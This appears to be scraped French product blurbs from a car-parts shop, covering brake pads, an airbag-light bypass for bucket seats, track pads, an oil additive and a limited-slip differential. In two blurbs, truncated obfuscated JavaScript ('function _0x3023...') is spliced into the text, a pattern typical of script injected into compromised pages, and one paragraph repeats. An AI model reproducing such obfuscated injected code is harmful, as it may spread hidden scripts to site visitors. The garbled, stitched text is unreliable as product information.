Type Premium : remplacement origine, plus mordantes, silencieuses. Type M : 0/500°C faible poussière, réduit l'usure des disques, usage route, silencieuses. Type Z : de 0 à 800°c, usage route et piste, freinage très efficace et sans faille en toute circonstance. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return...
Permet d'éviter le voyant airbag en installant un baquet. Permet de garder les autres airbags du véhicule actifs. MX5 ND, Yaris GR, GT86, Subaru Impreza, Levorg VW Porsche Audi Seat group, sauf quelques modeles. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let...
Les plaquettes ENDLESS ME20 sont adaptées à un usage circuit, comme le Nurburgring par exemple. La plage de temperature et le coefficient de friction sont adaptés à des freinages intensifs et répétés, y compris avec des pneus semi slicks ou tendres comme les Michelin PS4.
Les plaquettes ENDLESS ME20 sont adaptées à un usage circuit, comme le Nurburgring par exemple. La plage de temperature et le coefficient de friction sont adaptés à des freinages intensifs et répétés, y compris avec des pneus semi slicks ou tendres comme les Michelin PS4.
Additif céramique pour huile moteur. Va réduire la friction entre les éléments mobiles du moteur, réduisant l'usure et la chaleur dégagée. Moins de perte d'énergie en friction, c'est un meilleur rendement du moteur Grâce a ses composants, les nano particules de céramiques vont venir lisser les surfaces métalliques. C'est l'additif céramique le plus...
Le LSD japonais OS Giken est exceptionnel, bien entendu il gère la motricité de façon optimale, mais ce n'est pas tout A faible vitesse, lors de manoeuvre, il débraye totalement, donc aucun accoup. A l'opposé, il est capable de vérouiller a 100%, mais toujours sans accoup! La motricité est dingue tout en étant naturelle!